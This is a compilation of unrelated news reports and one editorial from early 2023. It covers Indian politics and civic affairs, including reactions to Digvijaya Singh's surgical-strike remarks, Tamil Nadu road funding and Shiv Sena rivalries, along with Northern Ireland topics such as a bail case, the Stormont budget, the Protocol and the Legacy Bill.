When contacted, superintending engineer P. Anil Raj said he was unaware of the issue and passed the buck to executive engineer R. Laxman, who, in turn, claimed to be out of town due to a personal emergency.

Deputy executive engineer E. Lowkya said that mud was deposited to prevent entry into the trench. She said she was informed about the mans death around 12.10 pm, and blamed him for being drunk. Police found a liquor bottle in his shirt, she claimed.

The police claimed Albert was depressed for five years on not being able to find a bride for himself. They said his parents deserted him two years ago due to his alcohol addiction.

"There were clear barricades and signboards," said Malkajgiri inspector B. Jagadeeshwar. He said that Albert may have slipped and fallen when he went to urinate.

"So far, we did not receive a complaint from Alberts family members. No one has come to claim his body. Our team visited the scene to check whether Albert died due to negligence and also spoke with the GHMC officials and private contractor concerned," the inspector said.

He said that the civic body and the contractor were not at fault. "Else, we would have already registered a case," he said.
The government has appointed the Tamil Nadu Urban Fund and Infrastructure Development Corporation (TUFIDCO) as the nodal agency for the road development project and it would ensure that the roads were of the best quality, the release said. (PTI file image)

Chennai: Chief Minister M K Stalin ordered the release of Rs 2,200 crore as special fund for the development of roads in all urban local bodies in the State, which would take the total allocation for improving 20,990 km of roads in various Corporations, Municipalities and town panchayats to Rs 9,588 crore, an official press release said on Wednesday.

The move would address the major criticism faced by the government now in view of the roads turning bumpy and potholed following the rains and also the work carried out to repair storm water drains and underground drainage systems.

As the first step in the implementation of the scheme to lay quality roads in all urban areas, work would start in 2023 by spending Rs 5,140 crore to repair and develop 12,061 km long roads, the press release said, adding that Rs 1,171 crore of it would be spent for 1680 km roads in Chennai, Rs 2,535 crore for 7116 km in other Corporations and Municipalities and Rs 1434 crore for 3,265 km in town panchayats.

The Chief Minister had on October 19, 2020, made an announcement at the State Assembly under Rule 110 that roads, running to thousands of kilometers, in urban areas damaged by the work on laying underground sewage systems and water pipelines would be repaired and renovated.

He had announced that various allocations made by the Singara Chennai 2.0 scheme, State Finance Commission Subsidy Plan Fund, Kalaignar Urban Development Scheme and NABARD bank financial assistance scheme would be integrated and the total fund of Rs 7,338 crore would be used to develop 16,390 km of roads in Corporations, Municipalities and Town Panchayats.

Adding the governments special fund of Rs 2,200 to that, the development of 20,990 km of road would be taken up in 2023. The rest of the urban roads would be developed in the next two years, which would make the road infrastructure of the State reaching world standards.

The government has appointed the Tamil Nadu Urban Fund and Infrastructure Development Corporation (TUFIDCO) as the nodal agency for the road development project and it would ensure that the roads were of the best quality, the release said.
Congress leader Rahul Gandhi during Bharat Jodo Yatra, in Nagrota, Tuesday (Photo: PTI)

New Delhi: Congress leader Rahul Gandhi distanced himself and his party from the remarks of party leader Digvijaya Singh who had said that proof was needed for the surgical strikes carried out in Pakistan territory.

Calling out the former Madhya Pradesh chief minister, Gandhi said at a media meet of the Bharat Jodo Yatra in Jammus Nagrota on Tuesday: "I dont agree with Digvijay Singhs statement. We trust the Army. The Army need not clarify on what it does."

He added: "We are a democratic party. We are not a dictatorship. We do not appreciate Digvijay Singhs views. I can assure you that Digvijay Singhs views are not shared by the party."

On Monday Singh had said: "Forty of our CRPF jawans were martyred in Pulwama. CRPF officials had requested PM Modi that personnel should be airlifted, but PM Modi didnt agree. How did such a lapse take place? Till date, no report on Pulwama has been placed before Parliament." Singh is no stranger to controversy: He had raised doubts over the 2008 Batla House encounter in New Delhi.

The BJP launched a scathing attack on the Congress asking Gandhi why it took him "so many years" to say that he respected the Indian armed forces. Senior BJP leader Ravi Shankar Prasad also asked the Opposition leader as what was the "limit of personal views" of his party colleagues.

The BJP also asked the Congress leadership to clarify its stand on terrorist and national security.

"I ask Rahul Gandhi, why did it take him years to publicly state that he respected the institution of Armed Forces? The fact is he doesn't actually do," said Mr Prasad. The BJP leader asserted that India does not seek proof of its armed forces's valour, only respects their sacrifices.

The former union minister also asked why Rahul Gandhi could not make Singh respect armed forces during his "kilometres long" Bharat Jodo Yatra. "What is the message of this yatra when some of its big leaders are engaged in Bharat Todo Yatra" said the BJP leader.
The actor politician and Jana Sena chief Pawan Kalyan offers prayers to lord Hanuman at Sri Abhayanjaneya Swamy temple at Kondagattu in Jagtial district on Tuesday. (Photo: DC)

Warangal: Actor-politician Pawan Kalyan announced on Tuesday that his Jana Sena party would contest Telangana's seven to 14 Assembly seats and a "limited number" of Parliament seats.

Following a special puja performed at Sri Anjaneyaswamy temple by temple priests to his campaign vehicle Varahi, Pawan Kalyan told the media on Tuesday at Kondagattu in Jagtial district that his party, which is in alliance with the BJP in Andhra Pradesh, will decide one week before the Telangana elections with whom the Jana Sena would tie up.

The actor politician and Jana Sena chief Pawan Kalyan offering prayers to his campaign chariot Varahi at Kondagattu in Jagtial district on Tuesday. (Photo:DC)He stated that Jana Sena would be ready to join forces with any party in Telangana, while asserting that there would be more clarity after the announcement of election dates.

Kalyan, who met with key Jana Sena leaders at a private resort on the outskirts of Nachupally in Kodimyala mandal, said, "If other parties do not come forward, then the Jana Sena will fight alone in the elections." He praised the tenacity of the Telangana people, saying that their fortitude had inspired him to form the Jana Sena and launch a movement to fight for the interests of the common people.

Stating that he welcomed the formation of the Bharat Rashtra Samithi (BRS), he asserted that Jana Sena's role in Telangana politics would be limited. "We will first study the deeper issues plaguing Telangana state. Subsequently, our party will decide on how many seats to fight in the state," he stated.

Kalyan stated that Telangana was the land of his rebirth and recalled how he survived a major accident during an election campaign in 2009. "This is due to the blessings of Anjaneyaswamy," he said.

While pointing out that governance in Telangana was better than that in Andhra Pradesh, Kalyan noted that the two states' problems are distinct and cannot be compared. Targeting the YSRC, the Jana Sena leader claimed that Andhra Pradesh's political parties lacked a clear ideology and that the state's so-called leaders were stoking casteist tensions.

He claimed that there were no democratic values and that the leaders in AP were "murdering their own uncles". Earlier, a large number of fans and supporters gathered from neighbouring areas to see their favourite actor. Huge cutouts, flexies, and banners were placed on either side of the street at Kondagattu to welcome him.
It would be better for Congress to set its own agenda and try and convince the people about it instead of giving ammunition to the BJP to accomplish its mission against the Opposition. (Photo: PTI/File)

When it announced the dangerously undemocratic slogan "Congress-mukt Bharat", the BJP would have thought the mission would be accomplished by its own effort alone and that it will have to overcome the resistance from the grand old party and those who believe in the idea of democracy. But the Congress looks like it is giving its archrival a helping hand.

The latest is Congress leader Digvijay Singhs statement that the government has produced no evidence of the Indian Armys surgical strike on Pakistani territory in retaliation for the Pulwama attack; nor did it make a statement in Parliament about it. Mr Singh was making a plain statement to qualify his serious charge that the NDA government was economical with the truth herein. But Mr Singh needs to explain why he chose to resurrect an incident which the BJP used to the hilt in the last Lok Sabha election. Does he, or the party, have serious doubts about the governments claim? Is the party or Mr Singh in possession of some new pieces of evidence to debunk the governments theory? For the record, the partys reaction is negative; it is saying that this is Mr Singhs position and not that of the Congress. Both party president Mallikarjun Kharge and party leader Rahul Gandhi have dismissed Mr Singhs position.

The Congress, and other Opposition parties, must realise that the BJP catapulted itself to power not by denying the allegations and insinuations levelled at itself or its leader Prime Minister Narendra Modi, but by making the most of them. A distasteful comment by Congress leader Mani Shankar Aiyar about Mr Modis claim of being a tea seller while a boy was not challenged; instead it was used. Mr Aiyars later comment on the kind of politics Mr Modi practises was given a spin and used against him and the party in such a way that Mr Aiyar had to be disowned by the party.

The BJP has perfected the art of being the sole arbitrator of patriotism, nationalism and Hindutva. Like all rightist forces, the BJP places the prestige of the defence forces ahead of all other national concerns and chooses to brandish pride in the uniform if it cannot face questions. In the latest edition of the exchanges, the BJP spokesperson made Mr Singhs salvo look like an attack on the Army and declared that the country will not tolerate anyone speaking against the security forces. The party never wastes a minute to deflect the questions the Opposition raises against the government on developments on the border to the defence forces.

Congress leaders must disabuse themselves of the thought that they still control the national narrative. They have long lost touch with the real politics; their grandstanding and condescending tone do not wash against the BJP under Mr Modi, a communicator par excellence. It would be better for the party and its leadership to set its own agenda and try and convince the people about it instead of giving ammunition to the BJP to accomplish its mission against the Opposition.
In December, OnePlus announced to host a global product launch event 'Cloud 11' in New Delhi on February 11. Back then, it revealed that only devices--OnePlus 11 and Buds Pro 2-- will be unveiled.

Now, it looks like OnePlus has more to show next month. It has lined up a brand new premium OnePlus Q smart TV series along with the company's first-ever mechanical keyboard and it is said to come with Nord branding.

First up, the new OnePlus TV Q2 Pro is said to come with a massive 65-inch screen size. It will be coming with a big upgrade in terms of hardware. It will have a 4K UHD display panel with support 120Hz refresh rate, HDR10+ and MEMC. In terms of audio, it is said to boast a 70W speaker tuned with the Dolby Atmos system. It is expected to run on Android TV-based OxygenPlay.



OnePlus TV 65 Q2 Pro teaser. Credit: OnePlus India



On the other hand, OnePlus mechanical keyboard. It promises to deliver a better typing experience. The new keyboard will have a double gasket mount design, which offers a tangible texture feel on the keys and also deliver a better gaming experience.

The upcoming keyboard is being made using CNC aluminum manufacturing. It promises to deliver the best hand feeling while providing weight and durability for long-term usage and stability.



OnePlus Mechanical Keyboard teaser. Credit: OnePlus India



Also, it said the keyboard will support all the customisable keyboard features, such as hot-swappable switches and open-source firmware. Also, it will support all major computer OS platforms such as Windows, macOS, and Linux.

Get the latest news on new launches, gadget reviews, apps, cybersecurity, and more on personal technology only on DH Tech.
How content is customised on social media to woo voters
Congress is planning to enrol a million Samvidhan Rakshaks across the country in the coming months in a new programme designed as a follow up to the Bharat Jodo Yatra to counter the RSS onslaught on the Constitution aimed at changing its basic structure.

Conceptualised by the SC (Scheduled Castes) Department of the party, the programme had a soft launch a couple of weeks ago and has already got around 50,000 registrations, which includes around 5,600 in Rajasthan and 4,400 in Maharashtra. The plan now is to have a mega launch in February soon after the yatra concludes.

Once the members are enrolled, the SC Department plans a flurry of activities, which includes video tutorials on Constitution by experts and uploading of videos with pledges to save the Constitution. It also plans to use its YouTube channel Bahujan Ka Awaaz, launched last month for the purpose.

Read | Digvijaya Singh said a ridiculous thing, says Rahul Gandhi on leader's remark on surgical strike

The move comes at a time the Congress, especially Rahul Gandhi in his interactions during the yatra and party chief Mallikarjun Kharge, has been accusing the RSS-BJP of trampling upon the Constitution amid the Centre vs Judiciary debate over the suitability of basic structure doctrine.

During the nine years of the Narendra Modi government, we have seen the weakening of Constitutional order. With the RSS completing 100 years in 2025, we know that their stated aim is to change the Constitution, Congress SC Department Chairman Rajesh Lilothia told DH.

He said the Congress has taken a pledge to save the Constitution and is rolling out the Samvidhan Rakshak (Constitution Saviours), which is also designed as an outreach programme to bring like-minded people closer to the party. K Raju, the National Coordinator for SC, ST, OBC and Minorities Department, monitors the rolling out of the programme.

So far, the party has assigned leaders in 25 states as in-charges to coordinate the enrollment, which is also open to non-Congress members. This is an ideological battle where the RSS is trying to make India a Hindutva Rashtra and we are opposed to it, Lilothia said.

Read | Truth shines bright: Rahul on BBC documentary on Modi

The SC Department has already launched a website www.saveconstitution.in for enrollment. After answering a few questions, including basic details and providing an ID, and getting endorsement from a coordinator or a member, one can get enrolled. It is also planning to reach out to people by sending enrollment links through WhatsApp and text messages.

The prospective Samvidhan Rakshak will have to provide reasons for enrolling in the programme like whether they are joining because RSS is against quota regime, minorities, women, Dalits and farmers or because it wants to return to 'varna system' among others. After enrolling, one can get a certificate if they manage to enrol two others.
Top Congress leader Rahul Gandhi Tuesday castigated Digvijaya Singh for his comments on Balakot surgical strike, saying the party does not agree with his "ridiculous" views, as Army does not need to give any proof of what it does.

Addressing a press conference in Jhajjar Kotli in Jammu on the sidelines of Bharat Jodo Yatra, Rahul faced a volley of questions on Singh's remarks at a rally in his presence when he questioned the Pathankot terror strike and sought proof for the subsequent Balakot strike.

"We do not agree with what Digvijaya Singh has said at all. We have full faith in our Army. If the Army is doing something, there is no need for the Army to give proof. I completely disagree with his statement. Congress' official position is that it is not our opinion but his... We dont appreciate Digvijayas personal views, but the views of the party are above Digvijaya Singhs views," he said.

Asked why no action is being taken against Singh, who has made controversial statements earlier also, Rahul said Congress is a "democratic party and not a dictatorship", as they do not run the party with "principles of coercion.

Also read | Digvijaya Singh questions surgical strikes, BJP accuses Congress of insulting armed forces in 'hate' for Modi

Emphasising that the party is "crystal clear" that armed forces do a "job exceptionally well and they do not need to be providing proof for anything", he said Congress' culture is to allow conversations and sometimes when those conversations happen, people who have extreme views, air their views.

"In the BJP and in the RSS, there is no conversation. They just decide that this is what is going to be and nobody can talk after this. It is like demonetisation. The Prime Minister gets up one morning and says- we are going to demonetise or like GST, where, you know, you completely destroy the backbone of the country, because you are not having a conversation," he said.

"We think a conversation is very, very important and sometimes, of course, there are people in every conversation, who will say ridiculous things and in this case, I am sorry to have to say this about a senior leader, he said a ridiculous thing," Rahul said, as the BJP pounded attack on the Congress following Singh's remarks. Congress on Monday itself had distanced itself from Singh's remarks.

While addressing a public rally in Jammu on Monday, former chief minister of Madhya Pradesh said, They (Centre) talk about surgical strikes and that they have killed so many of them (militants) but there is no proof. The Centre is ruling with the help of lies. I want to tell you that this country belongs to all of us. India army launched surgical strikes in 2016 days after 18 soldiers were killed in a terror attack on an army base near Line of Control (LoC) in Uri area of north Kashmirs Baramulla district.

Asked about Defence Minister Rajnath Singh's comment that he was spreading hatred and defaming India abroad through Bharat Jodo Yatra, "the Defence Minister has to say what he has been told to say. I don't think he has a choice."

He said he does not understand how a padayatra which is uniting people is harming the interests of the people. "When the Congress was fighting for independence, the RSS-BJP people were standing with the English. Their ideology and people propagated the two-nation theory, not the Congress. Savarkar did it," he added.

Rahul reiterated that the primary focus of the Congress was to get statehood restored to Jammu and Kashmir and early Assembly polls. J&K youth are suffering from depression and discomfort. We are here to listen to them and understand their issue, he said, adding that the media too has been suppressed to an extent as if the Yatra is not happening at all.

Asked if BJY was apolitical, why he was continuously targeting BJP, he said that since Congress is the grand old political party, there will surely be a bit of politics in his speeches.

When Kashmiri Pandits, farmers and unemployed youth would meet me, there would obviously be a problem if I dont talk about them, the Congress leader said.

He said that the yatra had largely succeeded to fight against the narrative of hatred spread across the country and bring the folks together yet again.

We have been able to bring the people across the country together yet again through BJY. There were a lot of lessons for us in the Yatra which we have learnt after meeting people of various shades during our journey, the Congress MP said.

Meanwhile, Bollywood actress Urmila Matondkar joined the yatra as it resumed from Nagrota in Jammu district, on a cold Tuesday morning. The actor-turned-politician joined Gandhi shortly after the march started from near the army garrison around 8 am amid tight security.

Matondkar had resigned from the Congress in September 2019 after a short association of six months, and joined the Shiv Sena in 2020.
Rival factions of the Shiv Sena on Monday vied with each other to lay claim to the political legacy of party founder Bal Thackeray on his 97th birth anniversary as they held separate events in Mumbai to pay tributes to him and targeted each other.

Maharashtra Chief Minister Eknath Shinde, whose revolt in June last year, split the party, said Bal Thackeray was the only Indian leader that Pakistan feared.

Also Read: Will always cherish interactions with Bal Thackeray, says PM Modi

Speaking at the inauguration of an oil portrait of Bal Thackeray in the central hall of Maharashtra legislative building in south Mumbai on the occasion of his birth anniversary, he said the Sena founder never compromised on his values to gain power.

Former chief minister Uddhav Thackeray, the son of Bal Thackeray, and his family members did not attend the event.

Shinde said, Balasaheb Thackeray was the only leader in the country that Pakistan feared. He was an ardent supporter of Hindutva, but never hated the Muslim community. His only opposition was to those who used to praise Pakistan, while living in India."

Without taking the name of his predecessor and now political rival Uddhav Thackeray, who heads a faction of the Shiv Sena, the CM said, He (Bal Thackeray) never compromised on his values to gain power. He functioned as a remote control of the government (in 1995-99 when Sena-BJP combine was in power) but never used it for personal gains.

Uddhav Thackeray, who was ousted from power in June last year after a section of MLAs revolted against his leadership, has consistently accused the rival Shinde-led camp (Balasahebanchi Shiv Sena) of working only to protect their personal interests.

One definition of democracy is (rule) 'by the people, for the people'. Balasaheb was the only leader who practiced it. Earlier, there were a handful of political families who used to control state politics. This picture was changed by Balasaheb, said the Chief Minister.

Reacting to the unveiling of the Sena founder's portrait in the Vidhan Bhavan complex, Uddhav Thackeray said, Your act of installing an oil painting of Balasaheb may be good, but your intention is bad.

Also Read: Uddhav targets BJP, says efforts on to take country towards dictatorship under guise of Hindutva

Uddhav Thackeray and his son Aaditya, a former minister and the MLA from Worli in Mumbai, and other family members stayed away from the official event.

The father-son duo, along with other prominent members of the Shiv Sena (Uddhav Balasaheb Thackeray), offered floral tributes to the late politician's statue located a few kilometres away from the Vidhan Bhavan building in south Mumbai. They later attended a programme at Shanmukhananda Hall in Sion organised on the occasion of Bal Thackeray's birth anniversary. However, Uddhav Thackeray's estranged cousin Raj Thackeray, who heads a breakaway faction of the Shiv Sena, MNS, was present at the event in Vidhan Bhavan.

Speaking separately, former chief minister Thackeray also targeted ex-ally Bharatiya Janata Party (BJP), saying it is trying to take the country towards dictatorship through the "sham" Hindutva. Without naming the BJP, he said they want to have an "iron grip" on India and referred to China.

Addressing Shiv Sena workers, the former CM said the BJP knows it cannot get votes without invoking the Thackeray senior. He dared the BJP to seek votes only in the name of Prime Minister Narendra Modi and face polls. "The country is heading towards dictatorship. Their Hindutva is a shamcreate a wall of caution under the guise of Hindutva and harden the grip on the country so that no one can dare say anything," the former CM said.

The Shiv Sena (UBT) leader said he had gone to China ahead of the 2008 Beijing Olympics when he met with an interpreter.

"I told him why he didn't go to Beijing to earn money as he was speaking good English. He replied that 'he wanted to be alive'. When questioned further, he told us that whosoever speaks against the (Chinese) government in Beijing, disappears in two days. They want to have a similar iron grip here (in India)," he said in a veiled reference to BJP.

Uddhav Thackeray said the BJP views Mumbai as the proverbial hen which lays golden eggs and wants to slaughter it. "Even the BJP has accepted that it cannot get votes without invoking Bal Thackeray," the Shiv Sena (UBT) leader said.

On PM Modi last week inaugurating and laying foundation stones for infrastructure projects in Mumbai where civic polls are due, Uddhav Thackeray said this could happen only because the Shiv Sena did the groundwork for three years.
A man who a court was told had breached his bail on 14 occasions on one set of charges and 10 times on another set has been remanded in custody at Derry Magistrate's Court.

Luke Holden (21) of Knockena in Derry appeared charged with breaching his bail from January 15 until January 23.

A police officer told the court that police were alerted to a breach of bail on January 15 when Holden had breached his curfew.

The defendant's father told police that his son had gone to Belfast.

The officer said that Holden handed himself into police on January 23 and his tag was missing.

He told police that the tag was gone and would not be recovered.

The court heard that Holden had been released on bail by the High Court in December with a 'clear warning' not to breach his bail.

The police officer said that there was 'a high risk of re-offending' and added that while the defendant had 8 previous convictions seven of them had occurred when he was on bail.

The officer said there was 'no chance' of Holden abiding by bail conditions.

Defence solicitor Seamus Quigley said that Holden had come under the influence of a woman who the court had warned him not to have any contact with.

He said his client was 'persuaded' to travel to Belfast by this woman.

As regards the tag the solicitor said that Holden could well be one of those who believed tags were tracking devices and that was why he got rid of it.

District Judge Barney McElholm said that Holden was released by the High Court and he was sure he had received a final warning.

He said that perhaps the case should be in front of a High Court Judge as he was 'loath' to deal with a decision of another Court.

He revoked bail and remanded Holden in custody to appear again on February 9.
The deadlock in Stormont has led vulnerable women to turn to paramilitaries for financial help, as peace-building groups usually funded by the Northern Ireland Executive face budgetary uncertainty, ministers have heard.

Northern Ireland affairs committee chairman Simon Hoare claimed some women have even turned to criminality and sexual favours to pay back paramilitary groups they have borrowed money from due to the rising cost of living.

The Conservative MP appealed to political parties to return to powersharing in Stormont, as the Commons debated a Bill aimed at setting Northern Irelands devolved budget in the absence of the Assembly.

Mr Hoare told the Commons about his committees recent visit to Northern Ireland, where it heard about the impact the absence of a multi-year settlement was having on organisations funded by the public purse.

Speaking about one organisation, he said: They had no idea at all what they would get out of this budgetary process. No idea at all. So notices were going out to their paid staff to say we may have to make you redundant, we hope we wont have to, we hope we will get the money, but we do not know.

These are not institutions or organisations teaching origami, or advanced flower arranging, or contract bridge for the winter months. These are organisations who are stepping in for peace-building, for community building, they are community-led.

He added: They are working to help women, who are finding themselves, as the BBC Spotlight programme has showed, being caught in the cycle of the cost of living, leading them to default to the extortionist money lenders of the so-called paramilitaries, only to find they cannot pay the money back and then having to resort to either criminal behaviour, being forced to give sexual favours as payment in lieu, seeing their children brought into the ambit of influence of these paramilitaries as a way of paying off the debt.

These groups who are so dependent upon the money that this budget could provide and that Stormont could reflect, now find their work in jeopardy.

The Tory MP encouraged the Commons to take a growing interest in the impact of these budgetary pressures and other deficiencies in the delivery of public service are having on the women of Northern Ireland.

Mr Hoare later appealed to Northern Irelands political parties to return to Stormont, adding: Nobody who advocates for the speedy return of Stormont, nobody is advocating that in that action all of the problems of Northern Ireland would be solved. Nobody is suggesting that at all.

But all because an organisation cannot do all of the good, all of the time, shouldnt stop it from trying to do as much good as it can for as long as it is there to be able to do it.
All parties want a deal to resolve the Northern Ireland Protocol impasse but there is a large gap to be bridged, Northern Ireland Office minister Steve Baker has said.

Mr Baker told MPs there is no deal on the table but we simply must make progress on the protocol, adding that he hoped the exchange will be heard in the EU.

Members of the DUP spoke out in opposition to the protocol, with leader Sir Jeffrey Donaldson warning his party was not prepared to tolerate a situation where Northern Ireland is treated like an EU colony.

The exchanges came as MPs approved all Commons stages of the Northern Ireland Budget Bill to authorise resources for public services in Northern Ireland for the years ending March 31 2023 and 2024 in the absence of a functioning devolved Northern Ireland Assembly and executive.

The Bill will undergo further scrutiny in the House of Lords at a later date.

Mr Baker, speaking during the Bills second reading, said: At the moment, I think the sense is amongst all parties, whether its the government of Ireland, or whether its the parties represented here in the House, whether its Government ministers or the European Union, we all want a deal, we want to move on.

We want a deal which respects the legitimate interests of unionism, which keeps the whole UK together and out of the EU, which respects the Act of Union and so on, and my sense is that through much-improved constructive relations between the UK and Ireland and the EU, we may well be able to get a deal.

But I have to say to people watching this, right now, today there is no deal on the table, there is a large gap to be bridged and we are working intensively to do just that.

His comments came as Labours Karin Smyth (Bristol South) intervened, asking: The very least the Government could do is advise us as to how quickly they are going to actually resolve the issues around the protocol, so that the parties can get back around the table because the two things are not separable.

Mr Baker said we simply must make progress on the protocol, adding he hoped the exchange will be heard in the EU.

He said: We are in a position where we simply must make progress on the protocol and as we approach the anniversary of the Belfast Good Friday Agreement, I really hope that this exchange will be heard in the EU, because we all want to be able to celebrate that agreement, 25 years of peace, we want to be able to celebrate it with the executive up and running.

Members opposite in the DUP have made it very clear what is on the table at this time and I think its a moment of considerable gravity for us all, but in terms of the real effects on everyday people in Northern Ireland, yep, I am acutely aware.

Shadow Northern Ireland secretary Peter Kyle said: Its (the Bill) needed to allow public services to function in Northern Ireland and we on this side will not oppose it.

He added: Let me just remind him and others  in fairness to the DUP, they were raising these concerns about the protocol from a position within devolved administration long before they withdrew

There was a fantastic six-month window of opportunity from which to resolve these issues before the executive collapsed and that is the missed opportunity which has led us down this path that we find ourselves today I cannot forgive the negligence that allowed this state of affairs to emerge in the first place.

Sir Jeffrey warned: The democratic deficit in Northern Ireland is something thats very real to the Northern Ireland Assembly and executive and is one of the fundamental reasons why we dont have functioning political institutions because this party is not prepared to tolerate a situation where we are treated like an EU colony.

DUP MP Ian Paisley (North Antrim) said: It is now two years since the protocol came into effect and the Government has still failed to fix the problem of the protocol.

He added: If you break it, you fix it, and by signing up to the protocol the Government broke the institutions first created by the Belfast Agreement. Rather than asking unionists in Northern Ireland to do the political impossibility, it should feel that it, the Government should face up to its own responsibilities.

The budget will pass this House tonight, but very soon the constitutional no mans land must come to an end.

The protocol was agreed by the UK and EU in 2019 as a way to unlock the logjam over securing a Brexit withdrawal agreement.

Designed as a means to keep the Irish land border free-flowing, it moved regulatory and customs checks on goods to the Irish Sea, creating economic barriers on trade between Great Britain and Northern Ireland.
Labour will seek to fix the Tories bad Brexit deal if voted into power at the next election, the shadow foreign secretary has said.

David Lammy said Britain would not rejoin the European Union, the single market or customs union under a Sir Keir Starmer premiership.

But he said the party would take action to reverse the damage the current UK-EU trade deal is doing to the British economy, while also restoring European relations.

In a speech at Chatham House in London, Mr Lammy said: It has been a central principle of British strategy for centuries that we should never find ourselves isolated in our own continent.

But that is exactly what this Government has done.

The shadow cabinet minister said Labour is not afraid to speak about the damage the Governments bad Brexit deal has done to our economy.

Investment down, growth sluggish or non-existent, 45% of businesses say they are having difficulties trading with the EU, the number exporting to Europe has fallen by a third.

In the middle of a cost-of-living crisis, this is a scandal.

While reuniting with Brussels in political or economic terms would be a red line for Labour, Mr Lammy said his party would aim to fix the Tories bad Brexit deal to increase trade with Europe.

That would involve changing the Northern Ireland Protocol and reducing trade fiction on food, agricultural, medical and veterinary goods, he said.

He also said a 2025 review of the UK-EU trade co-operation agreement (TCA) could be used to reduce barriers to trade.

Other ideas for improving cross-Channel relations included unblocking participation in the Horizon scheme to unleash research and development and improving links between our students and universities.

Mr Lammy faced questions from the audience about Labours policy on the EU after the speech, with one attendee accusing him of defending a hard Brexit.

However, he defended Labours approach, saying the referendum arguments need to be put to bed more than six years on.

He said relations with the EU need to be normalised before any further progress can be made, but that Brussels wants to see a united approach in Britain.

Addressing a question which referred to Labours Brexit policy as stupid, Mr Lammy said: It is easy to make those assertions but we shouldnt revisit the arguments that divided our nation.

We are determined in office to govern for everybody, not just those who take a particular view.

Mr Lammy used his 30-minute speech on Tuesday to outline how a future Labour administration would produce a mission statement  founded on five goals  for reorienting the Foreign, Commonwealth and Development Office (FCDO).

As well as building stronger relations with Europe, he said the goals are about addressing climate change, dealing with global threats and bolstering international development.

The Tottenham MP vowed that, should Labour win the next general election, the party will restore Britains tarnished reputation when it comes to respecting the rule of law.

The next national vote is expected before 2025, with polling putting Labour about 20 points ahead of Rishi Sunaks Conservatives, making Opposition leader Sir Keir  a former director of public prosecutions  the favourite to lead the next administration.

Mr Lammy referred to former prime minister Boris Johnson and the current No 10 incumbents fines by police  Mr Sunak was fined last week for failing to wear a seatbelt in a moving vehicle  as examples of where British leadership has fallen short.

Britains record of respect for the rule of law has become tarnished  through the Overseas Operations Bill, the Internal Markets Bill, the Protocol Bill, and two prime ministers fined for breaking the law, he said.

This record damages our moral authority and political credibility It is unbefitting of this great country.

Britain should be a country that keeps its word.

And let me tell you, with Keir Starmer  Kings Counsel  as Prime Minister, he would keep his.

Responding to pre-briefed criticisms from Mr Lammys speech, the FCDO said it has acted to support Ukraine in its fight against Russia and helped resettle eligible Afghans following the 2021 Allied withdrawal.

A spokesman for the department said: We are focusing on promoting our values with a broader range of countries to help them become more resilient against threats, including from climate change, disease and hostile states.
Relatives whose loved ones were killed in Northern Irelands Troubles staged a protest in Belfast ahead of the latest debate on controversial legislation to deal with the past.

They gathered outside the Northern Ireland Office in the city centre on Tuesday afternoon urging that the Legacy Bill be scrapped.

The proposed legislation would see an effective amnesty offered for Troubles crimes in exchange for cooperation with a new truth retrieval body.

It would also halt future civil cases and inquests linked to killings during the conflict.

The Government has proposed several amendments to the Bill as it proceeds through its legislative stages, though the core elements of it remain.

Sinn Fein MP John Finucane accused the UK government of ignoring victims and said the proposed legislation runs contrary to international law and human rights obligations.

Mr Finucane, whose father Pat was killed by loyalist paramilitaries in 1989, said the legislation is unamendable.

Thats not just my view, it is the view of many human rights and legal practitioners, academics, human rights organisations and the Irish government, he said.

I was in America last week at a round table on legacy, and again it is the international opinion that this legislation is unamendable.

The British government have been criticised in Europe by the committee of ministers, there are multiple judgments that show what their obligations are but they continue to ignore this, they continue to deny people the very basic rights.

What the British government is doing is shameful and it is doubly so that they couch this in the language of reconciliation.

Mr Finucane said he expects legal challenges if the Bill proceeds.

Nobody wants to do that because it only adds delay into a process for some families who have already been waiting over five decades, he added.

Ryan Murphy from north Belfast, whose grandfather Terry McCafferty was killed along with his work colleague James McCloskey by the Ulster Defence Association (UDA) in January 1974, also attended the demonstration.

He said the Legacy Bill should be dropped, and urged government to revert to the Stormont House Agreement.

The 2014 agreement made a number of proposals, including a Historical Investigations Unit (HIU) to look into Troubles murders.
Ditching controversial legislation dealing with Northern Irelands violent past risks at least a further five-year delay in tackling the thorny issue, a minister has warned.

Lord Caine was responding to calls at Westminster for the Government to rethink and even shelve the Northern Ireland Troubles (Legacy and Reconciliation) Bill, which has triggered widespread opposition at home and abroad.

But in the face of continuing criticism, the Tory frontbencher held out the prospect of making further changes to the proposed law in a bid to meet the concerns of victims and survivors.

The Bill would provide immunity for people accused of Troubles offences, as long as they co-operate with a new truth recovery body, and would also halt future civil cases and inquests linked to killings during the conflict.

Critics have denounced the draft legislation as offering an amnesty for killers and is opposed by all Stormonts main parties and the Irish Government, as well as victims groups in Northern Ireland.

The UK Government has already proposed several amendments to the Bill, though the main elements of it remain.

Responding to criticism of the Bill in Parliament, Northern Ireland Office minister Lord Caine said: I never anticipated that the amendments that I bring forward for this stage of the Bill would necessarily be the end of the story.

I am looking at what more can be done that will meet more of the concerns of victims and survivors.

But he added: If as some people are proposing we simply withdraw, delay or start again then I think we really do risk spending at least another five years on this issue.

Lord Caine went on: The Bill does provide an opportunity to give more information to victims and survivors in a timely manner. It is the Governments view that it should proceed.

A leading voice pressing the Government to pause the Bill and start again was Northern Irelands first Police Ombudsman Baroness OLoan.

The independent crossbencher, who during a previous debate recalled losing her unborn baby after surviving an IRA bomb in 1977, said: The Governments actions in bringing this Bill and continuing to push the Bill is doing very serious damage to our reputation as a country.

Its also doing huge damage, I think, and causing a lot of pain and grief and loss of trust in the United Kingdom Government among the people affected by the Bill.

She added: The people of Northern Ireland are united against this Bill. I would ask the Government again to pause and even to dispense with this Bill and to start again.

There is no necessity and no urgency to dealing with this situation. There is a need to get it right.

Lord Eames, the former archbishop of Armagh and Primate of All Ireland, said: I have never, never come across such widespread opposition to a proposal such as this.

There are so many people in Northern Ireland who are going to be denied justice.

Urging ministers to think again, former deputy DUP leader Lord Dodds of Duncairn said: Its very, very clear that victims have been treated abominably by this Bill and this Government.

He added: I would appeal  listen to the victims.

Former SDLP leader Baroness Ritchie of Downpatrick said: They (the victims) feel this Bill robs them of their opportunity to access justice, to access investigations and to access inquests, which they believe, quite rightly, is their right.

I agree there should be a pause placed on this Bill. That the Government should go away and think again.

DUP peer and former education minister in Northern Ireland Lord Weir of Ballyholme said: The Bill represents very clearly a denial of justice.

Labour leader in the Lords Baroness Smith of Basildon said: Our position remains the same. We do not support this Bill. We share the desire there should be a process. We share the desire to move forward and deal with the issues, but I have to say we do not believe this Bill is the case.
